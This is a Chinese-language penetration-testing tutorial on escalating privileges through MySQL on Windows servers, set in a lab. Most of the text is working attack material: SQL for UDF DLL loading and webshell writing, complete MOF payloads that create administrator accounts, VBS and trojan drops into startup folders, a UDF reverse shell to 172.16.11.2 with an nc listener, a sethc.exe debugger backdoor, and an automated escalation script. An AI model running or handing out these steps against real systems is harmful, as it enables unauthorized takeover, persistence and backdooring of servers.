详述MySQL服务在渗透测试中的利用
作者:admin | 时间:2017-9-19 02:22:00 | 分类:黑客技术 隐藏侧边栏展开侧边栏
致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章。
文章目录:
- MySQL之UDF提权
- MySQL之MOF提权
- MySQL之常规写启动项提权
- 导出木马到启动项提权
- 反弹端口提权
- MySQL提权综合姿势
part1 mysql之UDF提权
首先什么是UDF?
UDF为`User Defined Function`-用户自定义函数,也就是支持用户自定义函数的功能。看这个名字应该就理解了一半了。
MySQL是最流行的开放源码SQL数据库管理系统,相对于Oracle,DB2等大型数据库系统,MySQL由于其开源性、易用性、稳定性等特点,受到个人使用者、中小型企业甚至一些大型企业的广泛欢迎。并且MySQL 有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。虽然MySQL 的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对 MySQL 进行一些扩展,这就是可以自行添加的MySQL 的 UDF。
0×01 MySQL信息收集
mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
假设存在了对应的用于创建用户自定义函数的dll文件,如`udf.dll`,我们暂且不讨论dll文件的路径问题,通过dll文件来创建用户自定义函数(如`cmdshell`),要使用以下mysql语句:
create function cmdshell returns string soname 'udf.dll';
当然最值得注意的是MySQL对于用于UDF的dll文件路径也是有具体限制的,MYSQL的各个版本各有不同。 下面记录一下:
- 在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。
- 在MYSQL 4.1-MySQL5.1的版本中,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含`/`或者`\`,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制,或者放到盘符的根目录下通过`c:udf.dll`这种形式的写法来跳过限制。其实只要把dll放到`PATH`这个环境变量所表示的任何一个目录下面,效果跟放到系统`system32`目录下面一样,以下几个创建函数的语句都是正确的:
create function cmdshell returns string soname 'udf.dll'; //假设此时udf.dll被上传到了c:\windows\system32目录 create function cmdshell returns string soname 'C:udf.dll'; //假设此时udf.dll被上传到了C盘根目录目录 create function cmdshell returns string soname 'udf.dll'; //假设此时udf.dll被上传到了任意的环境变量目录,如C:\php\
- MYSQL5.1及之后的几个版本又多了一个限制:创建函数时所用的DLL只能放在mysql的plugin目录里面,而且这个plugin目录默认是不存在的,可能就是为了防止黑客通过导出文件的方式将DLL来写到这个文件夹,如果导出文件(`into dumpfile`)的目标目录不存在是会报错的。
**所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的**。
我们需要在实际的实战中体会一下。首先假设我们通过前期的渗透测试得到了目标机的一些信息:
sql注入点一枚:
通过报错或者读取phpinfo等方式取得目标机的web根目录为:c:\www\
根据我们之前讲的sql注入相关知识,我们尝试通过以下语句读取数据库用户相关信息:
>我们把参数从1改为-1是为了防止当前查询的返回结果影响我们到时候提取指定文本。
>`concat()`函数把多个需要查询的字段放在一起
>`0x7c`是`|`符号的16进制转码结果,有利于我们到时候把字段区分开。
我们得到以下具体信息:
如此得知本地主机`localhost`的`root`账户的密码hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。
渗透测试中,我们可以通过`cmd5.com`的大型hash破解平台来破解密码,我们这里通过线上破解得知,此hash对应的密码值为`root`.
其实渗透测试中我们还可以通过爆破或者文件包含读取亦或是备份文件下载等方式得到目标机的MySQL服务相关登录信息。
然后我们尝试在这里写一个一句话webshell到服务器,一句话木马样本如下:
我们在火狐浏览器的HackBar插件把上述一句话木马转换为16进制,目的是避免特殊字符的转义导致语句不能正确执行:
如图,一句话木马加密后的结果为:
然后在注入点构造以下语句把一句话导出到`c:/www/small.php`,我们在一句话木马的16进制字符前加了`0x`(此为16进制标识符):
以上语句连续执行两次,如果出现以下错误,即说明文件写入成功:
//第二次写入提示文件已存在则说明文件写入成功
我们尝试使用中国菜刀连接一句话木马,并使用中国菜刀的数据库管理功能来尝试UDF提权。在中国菜刀的数据库管理功能页面上方输入以下语句并执行,查看数据库版本信息:
这里我们得知,服务器的MySQL版本为`5.5.40`
0×02 导出DLL文件
MYSQL5.1及之后的几个版本又多了一个限制:创建函数时所用的DLL只能放在mysql的plugin目录里面,而且这个plugin目录默认是不存在的,可能就是为了防止黑客通过导出文件的方式将DLL来写到这个文件夹,如果导出文件(`into dumpfile`)的目标目录不存在是会报错的。
使用以下语句查询MySQL的安装根目录:
如上图我们得知目标服务器的MySQL的安装根目录为:
根据 我们前面讲述的MySQL5.1版本及其之后版本,我们自定义函数需要用到的shell导出的目录应该是:
其实也可以通过以下语句获得插件目录(并不一定真实存在):
然后我们找个任意的可上传目录把我们准备的`udf.dll`上传。
假设`udf.dll`上传后在服务器的绝对路径为:c:/www/udf.dll
然后我们通过以下方式把上传的文件以继承MySQL的权限导出到plugin目录,执行以下语句:
执行该语句之后,我们发现返回为空,可能是导出文件不成功,或者是plugin目录不存在,我们通过菜刀的文件管理查看得知,plugin目录不存在:
但是我们仍有办法通过MySQL语句来建立文件夹,方法是通过NTFS ADS流来建立文件夹,但是成功率不太高。
执行以下sql语句来创建`lib`目录:
//利用NTFS ADS创建lib目录
再执行以下sql语句来创建`plugin`目录:
//利用NTFS ADS创建plugin目录
利用NTFS ADS创建目录成功率很小,这个命令执行返回一直为空,二次执行不提示目录已存在,即可判断目录创建失败。如上图即目录创建失败。
我们尝试碰碰运气,直接用php来创建plugin目录(先切换到`C:\Program Files\phpStudy\MySQL\lib\`),一般情况下是严格限制了目录权限的:
如上图,看来我们运气不错,直接成功创建了plugin目录。
接着,我们执行以下sql语句来导出`udf.dll`到`plugin`目录:
然后我们执行以下sql语句来通过`udf.dll`创建`shell`函数(此函数是我们上传的`udf.dll`文件中内定的函数名,不同的dll文件中有不同的函数名):
`shell`函数用于执行系统命令,用法如下,其中的`set`是将要执行的cmd命令:
//set命令用于查询系统环境变量
如下图,成功执行了cmd命令并获得了返回,右击查询结果,选择`文本格式显示`可以看到更全面的返回信息:
然后我们尝试在服务器添加一个用户名为`ichunqiu`密码为`ichunqiu`的账户:
接着尝试把`ichunqiu`账户添加到`administrators`管理组:
然后查看详细的账户信息,确认是否已经成功添加上账户和账户是否已经被成功添加到管理员组。如下操作:
如此,提权完毕。
提权完毕之后我们可以通过以下语句删除相关函数以防被他人利用:
drop function shell;
//删除函数
delete from mysql.func where name=’shell’;
//删除函数
part2 学习mysql之MOF提权
0×01 准备mof文件
- **`原理解读:`**
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法1: 运行 MOF 文件指定为命令行参数运行 Mofcomp.exe 文件。
方法2: 使用 `IMofCompiler` 接口和 `$ CompileFile `方法。
方法3: 拖放到`C:\windows\System32\Wbem\MOF` 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。
**`注意:`**第三种方法仅为向后兼容性与早期版本(windows2003)的 WMI 提供。
下面的代码是mof文件内容,默认添加一个`admin`的账户,可以自行修改(`AddUser.mof`):
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
以下代码内容是把`admin`账户添加到`administrators`组的mof文件(`AddToAdmin.mof`):
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
我们一直说的MySQL的mof提权是利用上述第三种方法: 拖放到`C:\windows\System32\Wbem\MOF` 文件夹的 MOF 文件。。
0×02 尝试mof提权
mof提权具体步骤如下:
1. 找个可写目录,上传或新建mof文件
得到两个mof文件的绝对路径为:
C:\www\AddUser.mof
C:\www\AddToAdmin.mof
2. 执行sql导出mof文件到自定义路径
在中国菜刀的数据库管理功能页执行以下语句把添加账户的mof文件导出到系统的mof目录:
select load_file(‘C:/www/AddUser.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/AddUser.mof’;
**`注意:`**这里`C:/www/`是你上传mof文件的随意路径,但后面的那个路径`c:/windows/system32/wbem/mof/`则是固定的
然后在中国菜刀的数据库管理功能页执行以下语句把添加账户到管理员组的mof文件导出到系统的mof目录:
select load_file(‘C:/www/AddToAdmin.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/AddToAdmin.mof’;
导出成功之后系统就会执行mof文件里的cmd命令,稍等片刻我们使用中国菜刀的虚拟终端功能查看是否成功添加了用户,
执行net user admin看下用户
如上图可见,没有再循环添加用户,即我们终结循环的方法奏效了。
`C:\WINDOWS\system32\wbem\Repository\`放的是储存库 我们执行的`.mof`都会被加入到这个库了。然后一直按脚本设置的时间执行。删除后服务,重新启动会重建个默认储存库,这样我们先前执行`mof`就没了。
part3 常规写启动项提权
逐次执行以下语句,往启动项写入vbs:
create table a (cmd text);
insert into a values (“set wshshell=createobject (“”wscript.shell”" ) ” );
insert into a values (“a=wshshell.run (“”cmd.exe /c net user admin$ 123456 /add”",0) ” );
//添加账户
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators admin$ /add”",0) ” );
//添加到管理员组
然后我们执行select * from a;查看是否成功写入了表:
然后执行:
select * from a into outfile ‘C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\test.vbs’;
//导出到启动项
select load_file(“c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\test.vbs”);//读取启动项该文件,判断是否写入
右键结果以`文本格式显示`,我们得到以下内容:
通过中国菜刀的文件管理功能也可查看文件是否写入成功,是否存在语法错误:
于是我们得知,此vbs脚本文件已经被成功写到了目标机的启动项,只要目标机重启,就会运行该命令添加我们预设的账户。只是此方法有些被动。
我们在本机测试下此VBS文件是否可用,复制上述的查询结果,在桌面保存为1.vbs,然后双击执行,vbs文件运行很有隐蔽性,基本看不到弹窗:
net user admin$
先在webshell里连接上数据库,建立表,将VBS写入表里,然后导入启动项, 如果UDF提权不行的话也可以尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。
part 4 导出木马到启动项提权
此处方法同样适用于没有shell的情况,外联MySQL操作。
假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
我们讲过相关的木马实验,如灰鸽子之类的远控木马,此处假设,我们已经配置好相关参数,并生成了木马在本地的`c:\server.exe`:
先在命令行下切换到本地`mysql.exe`的绝对路径:
如:
cd C:\Program Files\phpStudy\MySQL\bin
执行以下语句登入本地的MySQL服务(用于在本地生成木马的16进制),输入密码root登入:
mysql.exe -h 127.0.0.1 -u root -p
登入成功之后,我们尝试通过mysql写出我们上述的木马`c:\server.exe`的16进制数据到`c:\hex.txt`:
select hex(load_file(‘c:/server.exe’)) into dumpfile ‘c:/hex.txt’;
然后打开`c:\hex.txt`可看到上述的木马`c:\server.exe`的16进制数据:
如此得到了木马的16进制数据,接着我们登录目标服务器的MySQL服务。
利用`mysql.exe`数据库管理工具连接mysql服务器,然后执行下面的操作。
中国菜刀支持mysql语句执行,但是有语句长度限制。
先在MySQL命令行输入`exit`退出当前会话,然后执行以下语句登录目标服务器的MySQL服务:
mysql.exe -h 172.16.12.2 -u root -p
然后我们构造以下语句写出木马文件到目标机的启动项:
select 0x木马的16进制 into dumpfile ‘C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\server.exe’;
**`注意:`**请替换上述命令中的字符串`木马的16进制`为我们之前生成的`c:\hex.txt`文件内容,复制过去替换即可:
回车执行即可把木马文件导出到目标机的启动项。
其实我们也可以通过如下操作写出木马文件:
create table a (cmd BLOB); //建表用于存储数据
insert into a values (CONVERT(木马的16进制代码,CHAR));
//写入数据
select * from a into dumpfile ‘C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe’;
//导出数据到启动项
drop table a; //删除表
此处作为一种思路,局限性也比较大,比较被动。必须目标机重启才能执行我们的远控木马。用于没有拿到webshell、UDF和MOF提权都失败的情况。
part5 反弹端口提权
我们这里用的其实也是基于UDF自定义函数的思路,我们为了方便,直接把sql语句放在txt文件里,然后其后通过mysql批量执行,假设命令存储的在`mysql.txt`。
我们需要打开`mysql.txt`,根据目标机情况修改相关语句,文件内容最下方原本是这个样子:
大家可以看到,上述的步骤其实也是创建函数的过程,根据我们前面`UDF提权实验`的相关知识,我们主要对文件做以下修改:
我们此前已经得知了插件目录,可以通过以下语句获得插件目录(并不一定真实存在):
show variables like ‘%plugin%’;
将上述`mysql.txt`文件内容语句中的
select data from Ghost into DUMPFILE ‘c:\\windows\\system32\\udf.dll’;
修改为:
select data from Ghost into DUMPFILE ‘C:/Program Files/phpStudy/MySQL/lib/plugin/hack.dll’;
这里作此修改是由于MySQL高版本的用户自定义函数加载dll文件的路径限制。
再将上述`mysql.txt`文件内容语句中的
CREATE FUNCTION backshell RETURNS STRING SONAME ‘udf.dll’;
修改为:
CREATE FUNCTION backshell RETURNS STRING SONAME ‘hack.dll’;
最后文件内容如下图:
然后我们把修改好的`mysql.txt`放到c:/mysql.txt
利用`mysql.exe`数据库管理工具连接mysql服务器,然后执行下面的操作。
中国菜刀不支持交互式的mysql语句执行。如果你不嫌麻烦,可以尝试在中国菜刀里一句一句的执行`mysql.txt`中的语句。但是仍有语句长度限制。
cd C:\Program Files\phpStudy\MySQL\bin
mysql.exe -h 172.16.12.2 -u root -p
\. c:/www/mysql.txt;
很遗憾,批量执行没有成功,那么还可以尝试依次执行`mysql.txt`里的语句,但是可能目标服务器做了限制,还是没有成功:
如上图可见,语句复制过去,命令行只能接收一部分,看来是语句限制的问题,我们的dll的16进制数据太长。
那么即便如此,我们还是有办法解决,我们尝试通过中国菜刀上传这个将要导出的dll文件(上述办法在没有shell的情况下基本无解),假设文件上传在:c:\www\hack.dll
如此导出udf需要的dll:
select load_file(‘C:/www/hack.dll’) into dumpfile ‘C:/Program Files/phpStudy/MySQL/lib/plugin/hack.dll’;
创建backshell函数:
CREATE FUNCTION backshell RETURNS STRING SONAME ‘hack.dll’;
执行函数测试:
select backshell(”);
得到如下使用提示:
反弹shell.
例:select backshell(“your IP”,your port);
如此完全说明自定义函数创建成功且可用。
执行函数制定目标进行反弹:
select backshell(“172.16.11.2″,2010);
1. 本地用NC监听你反弹的端口
nc.exe -vv -l -p 2010
如果nc没有反应,就在shell上面再执行一遍反弹的sql语句:
如上图,成功接收到了反弹信息,尝试执行whoami:
我们可以看到,当前权限已经依靠MySQL服务提升到了最高权限`SYSTEM`.
此处也作为一种思路,用于UDF没有成功取得cmdshell和MOF提权都失败的情况。
此类方法还有创建操作注册表的相关函数,如`regwrite`,我仅作科普,在后面的实验中可能会讲到,以下是利用注册表映像劫持,安装shift后门:
Create Function regwrite returns string soname ‘udf.dll’
select regwrite(“HKEY_LOCAL_MACHINE”,”SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe”,”debugger”,”REG_SZ”,”C:\\recycler\\cmd.exe”);
part6 MySQL提权综合姿势
0×01 MySQL自动化提权
当然啦,再强大的自动化工具也只是辅助。
无论是技术、工具,本质都是人为的,工具只是提供便利。
小编根据UDF提权原理、写启动项提权原理、MOF提权原理,写了个python脚本,在桌面的`tools`目录的`mysql.py`。
`脚本依赖pymysql模块,我已经在操作机里面安装好环境依赖。`
我们先来看下脚本的功能和使用方法:
**功能:**
执行成功会返回如下信息和内置的cmd命令返回:
BingheSec Mysql Promote Privileges Tool Usage as: sec.py host port user pass Example: sec.py 192.168.1.6 3306 root 123456 Current connection: 172.16.12.2:3306/root/root Mysql Version is 5.5.40 Mysql Version>5.0 , UDF dll can only dump to plugin dir! Mysql RootPath : C:/Program Files/phpStudy/MySQL/ UDF DLL PATH : C:/Program Files/phpStudy/MySQL/lib/plugin/BingheSec.dll UDf will add the user 'guest' to admin with the pass 789456123+abc The sql of Dumping AddUser And AddToAdmin MOF File has queried OK. Press shift 5 times then press 1,2 at the same time to start the lpk UI,pass:bin ghesec Mof/LPK will add users named BingheSec$/admin$ with password: 789456123+abc Mof file only fit for windows2003,please test it yourself! The directory /lib/plugin has made successfully! Command Query Result: --------------------------------------- Microsoft Windows [版本 5.2.3790] nt authority\system
1. 自动导出mof文件,
2. 自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
3. 导出LPK.dll文件,劫持系统目录提权
4. 写启动项有问题,已经注释掉
**用法:**
python mysql.py 目标机ip mysql端口 mysql账户 mysql密码
我们来实际测试一下,如图:
python mysql.py 172.16.12.2 3306 root root
如上图,可以看到提权成功,返回了一些我们内置的命令,看看到了服务器的一些敏感信息。
其实UDF函数执行的是下图中圈中的cmd命令,大家修改该部分命令再执行,命令即会在目标机被执行:
如上图我们把命令部分修改为:
ver&whoami&net user
//查询系统版本、当前权限、用户情况
在执行该脚本:
如下图很快得到了我们想要的信息:
Microsoft Windows [版本 5.2.3790]
nt authority\system\\ 的用户帐户
——————————————–
Administrator ASPNET Guest
IUSR_V5EST0RD0BE IWAM_V5EST0RD0BE SUPPORT_388945a0
命令运行完毕,但发生一个或多个错误。
可以看到,我们当前已经是`nt authority\system`,最高权限。
0×02 外联配合远控
我们抛砖引玉,假设这样一种情况:扫到mysql弱口令,没拿到shel,可udf,但是目标处于内网,我们连接不上远程桌面。
这样的情况如何解决呢?聪明的你一定想到了,这很简单:利用我们前面的知识:导出16进制木马到目标服务器,在利用udf执行我们导出的远控木马。
那么看如何操作(详细的导马步骤请参考上述的`MySQL导出木马到启动项提权`章节):
假设灰鸽子之类的远控木马已经生成在本地的`c:\server.exe`:
我们参考上述的`MySQL导出木马到启动项提权`章节,通过mysql写出我们上述的木马`c:\server.exe`的16进制数据到`c:\hex.txt`:
打开`c:\hex.txt`可看到上述的木马`c:\server.exe`的16进制数据:
利用`mysql.exe`数据库管理工具连接mysql服务器,然后执行下面的操作。
先在命令行下切换到本地`mysql.exe`的绝对路径:
cd C:\Program Files\phpStudy\MySQL\bin
mysql.exe -h 172.16.12.2 -u root -p
然后我们构造以下语句写出木马文件到目标机的C盘根目录:
select 0x木马的16进制 into dumpfile ‘C:\\server.exe’;
**`注意:`**请替换上述命令中的字符串`木马的16进制`为我们之前生成的`c:\hex.txt`文件内容,复制过去替换即可:
等待命令行加载16进制木马数据,回车执行即可把木马文件导出到目标机的启动项。
如上图,sql命令执行成功,此时server.exe已经在目标机的C盘根目录了。
但是,同学会问,如何执行木马呢? 当然是通过UDF调用cmd了。
为了方便,我们直接结合上面的自动化提权相关知识,替换相关的cmd语句执行木马:
如上图,我们把cmd命令部分替换为如下:
c:/server.exe
然后在到工具目录打开cmd执行以下命令调用脚本执行木马:
python mysql.py 172.16.12.2 3306 root root
如上图,由于程序正在执行木马,有些延迟,有经验的人都知道,木马执行没有回显,执行木马时会卡顿一下。
如此是继承`SYSTEM`权限执行的木马,得到的远控服务端也将是`SYSTEM`权限。
最后说两点:
1. 富文本编辑器简直就是垃圾,抓狂到我差点砸了电脑,这篇文章排版我排了4小时一直到凌晨–MarkDown才是王道,美感源于简单自然。
2. 文章中有些脚本或文件具有攻击性,故没有放出来,有需要测试的同学可以私信联系我提供,我以往的帖子也有提及。